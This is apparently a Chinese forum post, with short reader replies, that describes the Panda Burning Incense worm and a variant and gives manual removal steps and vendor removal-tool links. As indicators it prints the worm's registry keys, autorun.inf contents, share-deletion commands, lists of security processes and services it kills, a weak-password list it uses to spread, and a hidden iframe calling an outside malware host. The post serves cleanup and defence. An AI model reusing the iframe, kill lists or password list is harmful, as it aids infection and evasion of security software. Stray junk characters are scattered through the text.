熊猫烧香病毒专杀及手动修复方案

鱼宝宝

介绍一下熊猫烧香病毒、熊猫烧香病毒变种的查杀方法，及熊猫烧香病毒的手动清除方案。提供了病毒进程为spoclsv.exe和FuckJacks.exe变种的解决方案，和熊猫烧香病毒专杀工具。

在动手查杀熊猫烧香病毒之前，强烈建议先注意以下四点：

1.本文包含两种熊猫烧香病毒变种的描述，请注意查看病毒症状，根据实际情况选用不同的查杀方法。

2.对于被熊猫烧香病毒感染的.exe可执行文件，推荐先备份，再修复！

3.找回被熊猫烧香病毒删除的ghost(.gho)文件，详情请见文中！

4.对计算机了解不多的用户，请在专家指导下清除熊猫烧香病毒。

熊猫烧香病毒变种一：病毒进程为“spoclsv.exe”

这是“熊猫烧香”早期变种之一，特别之处是“杀死杀毒软件”，最恶劣之处在于感染全盘.exe文件和删除.gho文件（Ghost的镜像文件）。最有“灵感”的一招莫过于在所有htm/html/asp/php/jsp/aspx文件末尾添加一段代码来调用病毒。目前所有专杀工具及杀毒软件均不会修复此病毒行为。需要手动清除病毒添加的代码，且一定要清除。否则访问了有此代码的网页，又会感染。其他老一点的“熊猫烧香”spoclsv变种的病毒行为比此版本少。就不再单独列出。

病毒描述：

“武汉男生”，俗称“熊猫烧香”，这是一个感染型的蠕虫病毒，它能感染系统中exe，com，pif，src，html，asp等文件，它还能中止大量的反病毒软件进程并且会删除扩展名为gho的文件，（.gho为GHOST的备份文件），使用户的系统备份文件丢失。被感染的用户系统中所有.exe可执行文件全部被改成熊猫举着三根香的模样。

以下是熊猫烧香病毒详细行为和解决办法：

熊猫烧香病毒详细行为：

1.复制自身到系统目录下：

%System%\drivers\spoclsv.exe（“%System%”代表Windows所在目录，比如：C:\Windows）
不同的spoclsv.exe变种，此目录可不同。比如12月爆发的变种目录是：C:\WINDOWS\System32\Drivers\spoclsv.exe。

( F& Z( D0 G0 t1 Q3 ~2.创建启动项：
& {% F4 j: A# S6 B2 Y[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
　　"svcshare"="%System%\drivers\spoclsv.exe"

3.在各分区根目录生成病毒副本：　　X:\setup.exe
* @5 P+ y' U; r5 i* s/ N. L　　X:\autorun.inf
1 L% v- ]' Y; v; _) wautorun.inf内容：
[AutoRun]
' ^3 G8 Q6 h* G+ E　　OPEN=setup.exe
  X9 m+ |6 l+ H! v9 P　　shellexecute=setup.exe
( m% V/ h* m0 b6 h" q$ O0 P　　shell\Auto\command=setup.exe
$ _4 O, L) f+ G# p
4.使用net share命令关闭管理共享：
; N8 R/ [+ p9 P, W# A, m- qcmd.exe /c net share X$ /del /y
& |* b$ V$ S/ ~' f/ T! U　　cmd.exe /c net share admin$ /del /y
* E9 _  ]$ q. l( m% ~# P3 \
. f9 o9 P7 S( f% ^' Y1 f" ^5.修改“显示所有文件和文件夹”设置：
6 k" t8 D: D: J: J' Y1 e[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion
　　\Explorer\Advanced\Folder\Hidden\SHOWALL]
　　"CheckedValue"=dword:00000000
% Z- Q6 K5 ^  E% C/ w1 u& i  X( V  F
6.熊猫烧香病毒尝试关闭安全软件相关窗口：
天网
' h- K, z# L3 x3 K防火墙进程
VirusScan
NOD32
$ U+ l9 K9 x& S7 \3 j8 m- l) E1 g网镖杀毒毒霸瑞星江民黄山IE
超级兔子优化大师木马清道夫木馬清道夫
/ }2 f$ u8 F7 i9 E6 M4 uQQ病毒注册表编辑器系统配置实用程序卡巴斯基反病毒
Symantec AntiVirus
Duba
Windows 任务管理器
* D/ x6 O9 }6 L$ @  l( Resteem procs
$ W- i8 b. ?% F( ]0 C' p) X绿鹰PC
密码防盗噬菌体木马辅助查找器
System Safety Monitor
Wrapped gift Killer
Winsock Expert
0 P; [+ X! X7 [  Y, |4 I* ]游戏木马检测大师超级巡警
- ~/ \2 y+ V/ m+ N$ o( zmsctls_statusbar32
  V. @& M0 H3 u" l; c1 O% c! upjf(ustc)
IceSword
/ ]  O# h5 Y' b. K/ c
7.尝试结束安全软件相关进程以及Viking病毒（威金病毒）进程：
1 w+ c& N- s$ ~' t- M* m' {Mcshield.exe
6 |: L7 c  [9 P9 `/ P( Z  F　　VsTskMgr.exe
& V8 y# C8 y2 }. S1 y+ p　　naPrdMgr.exe
　　UpdaterUI.exe
5 Z. B% {; Q( V1 h6 K　　TBMon.exe
　　scan32.exe
, M2 d, p* S" R　　Ravmond.exe
' y8 @6 F+ g4 [( p: g: `+ N$ x　　CCenter.exe
　　RavTask.exe
; q& s) ~2 k: E: J( x: u　　Rav.exe
3 v% c- y: [. i' ]- `　　Ravmon.exe
　　RavmonD.exe
( y9 s- D4 d6 y) F. V$ F　　RavStub.exe
　　KVXP.kxp
　　KvMonXP.kxp
% w6 }( U/ h8 w1 l& N' X　　KVCenter.kxp
. c& V) [; N- I7 ^- |3 H  V/ W% ^* u　　KVSrvXP.exe
% m5 K0 A4 d  J% w  O- R8 {　　KRegEx.exe
　　UIHost.exe
$ P* j) A8 F9 L0 f1 U  k　　TrojDie.kxp
& _  Z' B3 i+ F+ j9 @: ?　　FrogAgent.exe
　　Logo1_.exe
: d% I8 u" C2 A7 u4 O# V　　Logo_1.exe
" b, b: y# N: r2 w5 |　　Rundl132.exe

8.禁用安全软件相关服务：
! y) B' ^1 E( ~: bSchedule
　　sharedaccess
　　RsCCenter
  ~! F7 U- I7 d: {8 ?　　RsRavMon
　　KVWSC
　　KVSrvXP
　　kavsvc
' |2 r6 y- {( H6 \6 i　　AVP
0 E9 l% y% `6 @. M) S　　McAfeeFramework
　　McShield
6 b) R0 f4 U  B　　McTaskManager
0 z, r: l: a; F) b" D1 |" b9 w* E　　navapsvc
　　wscsvc
/ |6 `$ {  W/ L+ r　　KPfwSvc
. `* c. y9 j% q  o# G8 J1 ?　　SNDSrvc
) H; P( D& r+ E% L- w　　ccProxy
; C) m3 z  O  h7 `　　ccEvtMgr
　　ccSetMgr
　　SPBBCSvc
　　Symantec Core LC
( ]/ `9 h( ?2 v* R! b) Q2 l& L　　NPFMntor
　　MskService
　　FireSvc
# Q: B2 e# j- }1 g: K$ [0 n7 V" s
9.删除安全软件相关启动项：
SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RavTask
' H8 q" ~5 |+ }: M1 g" Y　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\KvMonXP
　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\kav
　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\KAVPersonal50
　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\McAfeeUpdaterUI
! i/ T+ o3 A* u1 a  [$ U; e　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Network Associates Error           
6 C+ Z5 e4 u/ r. V! bReporting Service
5 q0 o7 r0 ?, b' T; O' `　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ShStatEXE
2 I: N# k/ b5 j$ ]5 ^. K　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\YLive.exe
　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\yassistse
8 X, n' V$ I7 y$ s3 b1 J10.遍历目录修改htm/html/asp/php/jsp/aspx等网页文件，在这些文件尾部追加信息：
! y5 m# E6 s- D  e<iframe src="hxxp://www.ctv163.com/wuhan/down.htm" width="0" height="0" frameborder="0"> </iframe>
5 c: G7 k. F! y8 T: _" O但不修改以下目录中的网页文件：
0 V: N: v$ [- G6 l! f/ M( N' ]C:\WINDOWS
$ P2 b7 W3 N( M! u6 V　　C:\WINNT
　　C:\system32
　　C:\Documents and Settings
+ m7 P4 h! t9 B. G% m　　C:\System Volume Information
1 P2 F5 \8 W/ F8 Y( l0 n- v　　C:\Recycled
　　Program Files\Windows NT
　　Program Files\WindowsUpdate
& h4 ?, W9 ]# L. x　　Program Files\Windows Media Player
　　Program Files\Outlook Express
　　Program Files\Internet Explorer
1 |1 o* G" v  V) n) p$ Z* T* `　　Program Files\NetMeeting
　　Program Files\Common Files
　　Program Files\ComPlus Applications
, S% `" W, J5 p6 {1 I1 R& i　　Program Files\Messenger
' T, e8 }4 x) L" Z2 K/ Y$ F7 W; x2 t　　Program Files\InstallShield Installation Information
9 V0 z1 W  r! p$ }, S　　Program Files\MSN
　　Program Files\Microsoft Frontpage
　　Program Files\Movie Maker
. ?- t* u( }2 m* C　　Program Files\MSN Gamin Zone
11.在访问过的目录下生成Desktop_.ini文件，内容为当前日期。
8 R. p6 V5 I! G$ f12.此外，病毒还会尝试删除GHO文件。
: Q4 A9 P/ b5 ~7 v病毒还尝试使用弱密码将副本以GameSetup.exe的文件名复制到局域网内其它计算机中：　　password
　　harley
　　golf
( P- z9 H4 m. o0 n; e8 F3 P* W　　pussy
　　mustang
5 _' D# @9 N8 X. o; A# [/ L　　shadow
　　fish
　　qwerty
　　baseball
　　letmein
　　ccc
% R/ k( l, B% Q5 I# p  \9 s8 {0 ?　　admin
　　abc
5 p* J! {) S  O: Y7 A& c- ~% l$ u　　pass
; a  f' a& J  }% S# M　　passwd
　　database
　　abcd
) s* X1 I  k+ u8 o0 v　　abc123
9 w8 _' S& e- I. k5 C　　sybase
　　123qwe
　　server
　　computer
　　super
　　123asd
　　ihavenopass
　　godblessyou
　　enable
　　alpha
　　1234qwer
　　123abc
6 ~7 P6 ?: r7 K& h　　aaa
5 m; P, ^/ J% V' `( d5 i2 w　　patrick
1 b2 ~) C" X, c　　pat
$ V4 X+ j6 G7 G: \' s　　administrator
: c6 g. S6 X' {; a　　root
　　sex
　　god
9 q6 i( i) j! Y5 a5 e　　fuckyou
/ l& |- `. L6 I; E　　fuck
　　test
　　test123
$ d- H: @1 V0 s/ T' U3 P　　temp
　　temp123
　　win
　　asdf
　　pwd
　　qwer
# w" }7 u" W, F% Z: w6 L3 [　　yxcv
! P. v% F, h3 B　　zxcv
　　home
　　xxx
　　owner
- E, U3 b6 t9 k6 _- E　　login
/ L) P' B+ p4 k　　Login
　　love
　　mypc
　　mypc123
　　admin123
% ?# {" C( K9 y& ~& i* s　　mypass
　　mypass123
　　Administrator
( ?+ ?+ N4 T% k0 ?) n　　Guest
　　admin
　　Root
" m- i' n3 k4 O/ ?. B# m) I
& ?/ c: `  S4 u* L5 m& \病毒文件内含有这些信息：

3 l: \, C  I* R# D& \9 T/ zwhboy
　　***武*汉*男*生*感*染*下*载*者***
解决方案：

. m6 {; S$ m: F% S. p8 r1. 结束病毒进程：
%System%\drivers\spoclsv.exe
$ Y; ~4 F& e6 l( O3 `+ u. b) L$ B3 k不同的spoclsv.exe变种，此目录可不同。比如12月爆发的变种目录是：C:\WINDOWS\System32\Drivers\spoclsv.exe。但可用此方法清除。
0 u$ b/ `) }) R$ B“%System%\system32\spoclsv.exe”是系统文件。（目前看来没有出现插入该系统进程的变种，不排除变种的手法变化。）
6 I8 s  T. k/ j% b' e; A, P查看当前运行spoclsv.exe的路径，可使用超级兔子魔法设置。

2. 删除病毒文件：
%System%\drivers\spoclsv.exe
请注意区分病毒和系统文件。详见步骤1。

2 J6 |5 E/ P$ m3. 删除病毒启动项：
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
0 [( A0 w9 R) r, B　　"svcshare"="%System%\drivers\spoclsv.exe"
1 L( ^/ Q5 u1 U0 I1 ]5 k  e
4. 通过分区盘符右键菜单中的“打开”进入分区根目录，删除根目录下的病毒文件：
9 j3 C+ M1 O1 U9 \' S1 hX:\setup.exe
　　X:\autorun.inf

5. 恢复被修改的“显示所有文件和文件夹”设置：
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion
　　\Explorer\Advanced\Folder\Hidden\SHOWALL]
! t: i0 o0 C% l; e　　"CheckedValue"=dword:00000001

- }9 T, E$ e& E5 P# X6. 修复或重新安装被破坏的安全软件。
" S* f" s0 L* A' v
; C2 k( Q: x% U7 k3 W9 P1 j7.修复被感染的程序。可用专杀工具进行修复，收集了四个供读者使用。
金山熊猫烧香病毒专杀工具
6 j4 b6 m# O, I- O0 d$ {& v7 Xhttp://down.www.kingsoft.com/db/download/othertools/DuBaTool_WhBoy.BAT
- W1 B+ C+ h/ Z9 N安天熊猫烧香病毒专杀工具
( q2 Z+ t! X- a1 b4 zhttp://www.antiy.com/download/KillPP.scr
$ D& Q1 C$ L  i* A) m$ D7 }% A* w% D7 k江民熊猫烧香病毒专杀工具
  k4 w0 }# N1 p' xhttp://ec.jiangmin.com/test/PandaKiller.rar
3 O1 p" P: U) \% I8 K2 n4 e4 B瑞星熊猫烧香病毒专杀工具
http://download.rising.com.cn/zsgj/NimayaKiller.scr
8 N6 e3 \7 b% j8 }( n% j。也可用手动方法（见本文末）。

8. 恢复被修改的网页文件，可以使用某些编辑网页的工具替换被添加文字为空。机器上有htm/html/asp/php/jsp/aspx等网页文件，一定要删除此段代码。有危险代码的网页一但发布到网页可能会感染其他用户。
: A2 P$ E3 e: S- f+ c
熊猫烧香病毒变种二：病毒进程为“FuckJacks.exe”

1 D" I' d1 _; _以下是数据安全实验室提供的信息与方法。
+ t2 ]# _' ]6 v% T6 ]3 b病毒描述：
2 R8 c" z; g0 }+ B& f含有病毒体的文件被运行后，病毒将自身拷贝至系统目录，同时修改注册表将自身设置为开机启动项，并遍历各个驱动器，将自身写入磁盘根目录下，增加一个Autorun.inf文件，使得用户打开该盘时激活病毒体。随后病毒体开一个线程进行本地文件感染，同时开另外一个线程连接某网站下载ddos程序进行发动恶意攻击。

病毒基本情况：
/ d/ C- U9 `. ^' j
[文件信息]

病毒名: Virus.Win32.EvilPanda.a.ex$
　　大小: 0xDA00 (55808), (disk) 0xDA00 (55808)
　　SHA1  : F0C3DA82E1620701AD2F0C8B531EEBEA0E8AF69D
  M  Y2 e! {2 g& i7 ~　　壳信息: 未知　　危害级别：高
- q2 a# e/ o( F0 N, l
: M- L$ W* g$ s9 Y病毒名: Flooder.Win32.FloodBots.a.ex$
+ Z( f' I2 Y+ w* Z& M3 L　　大  小: 0xE800 (59392), (disk) 0xE800 (59392)
　　SHA1  : B71A7EF22A36DBE27E3830888DAFC3B2A7D5DA0D
　　壳信息: UPX 0.89.6 - 1.02 / 1.05 - 1.24
　　危害级别：高

' Y1 M2 i8 V3 {: K8 Q2 l病毒行为：

Virus.Win32.EvilPanda.a.ex$ ：
0 U5 w- b: d. N! M# n/ e
1、病毒体执行后，将自身拷贝到系统目录：
%SystemRoot%\system32\FuckJacks.exe
# u- y! Z+ g1 G& ?* b2 X
* q/ H# k- X- B% G. |$ _
　　2、添加注册表启动项目确保自身在系统重启动后被加载：
8 h7 B& M3 o5 ]$ U3 M. ]2 W键路径：HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
　　键名：FuckJacks
* U+ ~8 `* n8 E) E& ~% [5 j, z　　键值："C:WINDOWS\system32\FuckJacks.exe"

键路径：HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
: ~1 ]) ]0 V: k' \4 L8 B　　键名：svohost
　　键值："C:WINDOWS\system32\FuckJacks.exe"

3、拷贝自身到所有驱动器根目录，命名为Setup.exe，并生成一个autorun.inf使得用户打开该盘运行病毒，并将这两个文件属性设置为隐藏、只读、系统。
C:autorun.inf    1KB    RHS
　　C:setup.exe    230KB    RHS
. s- b1 f% W6 e" f* `
4、关闭众多杀毒软件和安全工具。
2 f# U; E7 ^, ~3 `, \6 O
5、连接*****.3322.org下载某文件，并根据该文件记录的地址，去www.****.com下载某ddos程序，下载成功后执行该程序。
( u2 ^' k( S7 S; k- z
6、刷新bbs.qq.com，某QQ秀链接。
  P; |& h& w; j4 ~! r
! S/ J. E3 s  v; O7、循环遍历磁盘目录，感染文件，对关键系统文件跳过，不感染Windows媒体播放器、MSN、IE 等程序。

Flooder.Win32.FloodBots.a.ex$ ：

8 I( \7 C$ d8 I1、病毒体执行后，将自身拷贝到系统目录：
4 S8 C2 ]5 p  L* W7 f9 C7 G%SystemRoot%\SVCH0ST.EXE（注意文件名中的“0”是数字“零”，不是字母“o”）　　%SystemRoot%\system32\SVCH0ST.EXE（注意文件名中的“0”是数字“零”，不是字母“o”）
/ w4 H# H  l5 ]% \8 ]
2、该病毒后下载运行后，添加注册表启动项目确保自身在系统重启动后被加载：
5 {5 _/ P. P7 `7 {7 Y键路径：HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
　　键名：Userinit
　　键值："C:WINDOWS\system32\SVCH0ST.exe"
3 v: Z$ i9 P' R4 u
2 u3 k! z- t+ Q3、连接ddos2.****.com，获取攻击地址列表和攻击配置，并根据配置文件，进行相应的攻击。
配置文件如下：
) T& }- ]. ?! ewww。victim.net:3389
0 c; D) e& r3 x' Y　　www。victim.net:80
　　www。victim.com:80
　　www。victim.net:80
* L8 g4 z4 }' s, V/ Z9 Q　　1
5 K- X. }. _* e　　1
( R% w4 G% [' P( K　　120
　　50000

解决方案：
0 D% y; L, b# F
7 |" S% g, F7 L- f: F8 Z+ m1. 断开网络

2. 结束病毒进程：%System%\FuckJacks.exe

3. 删除病毒文件：%System%\FuckJacks.exe
# L, w3 R# C* ]* c# S# k
4. 右键点击分区盘符，点击右键菜单中的“打开”进入分区根目录，删除根目录下的文件：X:\autorun.inf
' Z, G5 e3 x/ P' t9 E/ Q1 r) t8 a　　X:\setup.exe

5. 删除病毒创建的启动项：
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
　　"FuckJacks"="%System%\FuckJacks.exe"
6 e9 h8 D, _& `9 ^. {[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
  q( a/ I0 q; m" \3 J% i　　"svohost"="%System%\FuckJacks.exe"
7 d/ x/ S8 _5 S1 ]7 l
6. 修复或重新安装反病毒软件

7. 使用反病毒软件或专杀工具进行全盘扫描，清除恢复被感染的exe文件。也可用以下的手动方法恢复文件。
. l) H4 V4 T' `2 a' }
手动恢复中毒文件（在虚拟机上通过测试，供参考）
+ T7 q; ^5 V' q8 [$ N
1.在清除病毒文件的同时不删除%SYSTEM%下面释放FuckJacks.exe的这个文件，即执行之前的步骤1、2、4、5。

1 _- d" K. T7 a( n2.打开“运行”输入“gpedit.msc”打开组策略－本地计算机策略－windows设置－安全设置－软件限制策略－其它规则。在其它规则上右键选择－新散列规则－打开新散列规则窗口

7 @7 t& m( f+ a* N  A8 h1 w' c# c, O3.在文件散列上点击浏览找到%SYSTEM%下面释放FuckJacks.exe文件。安全级别选择－不允许的。确定后重启。
5 @3 R. k1 w- T4 c# K, Z# \! S
3 J$ y9 e7 m; p- I5 r* e! N. }4.重启后可以双击运行已经被熊猫感染的程序。运行程序后该FuckJacks.exe文件会在注册表里的Run键下建立启动项（不会有问题的）。

4 X* X- u3 N7 V5.双击运行被感染的程序已经恢复原来样子了。全部回复后，用SREng把FuckJacks.exe在注册表里的启动项删除即可！

幻镜

其实还有一个很简单的方法可以将伤害降到最小。

就是将那个GHOST备份文件不要设置为后缀GHO

; r4 c% r* e/ {% g6 Q/ N你换一个后缀不就没事了吗？
恢复时后缀只是起显示作用
1 h8 `9 S5 `9 D8 n/ c. k, f0 k只要你选准正确文件就照样恢复

rulingdanny

很讨厌的病毒 最近中找了 真是对卡巴斯基越来越没有信息了 防御能力＝0

Sonic鼠

妈的我也中招了！！！
1 L% L* F# A+ G% V5 S/ W存的片子和游戏全没了！！气死我了！！！
这病毒出现后没想到是金山反应最快~
7 P* x8 s. i. @% L4 P8 H8 W* y瑞星都没招真没用~~~哎…………火大啊……

bmx极限运动

谢谢楼主的分享！！

kk11qq

谢谢楼主的分享！！
* x3 f5 O8 d' g* e! v; f# k

kk11qq

谢谢楼主的分享！！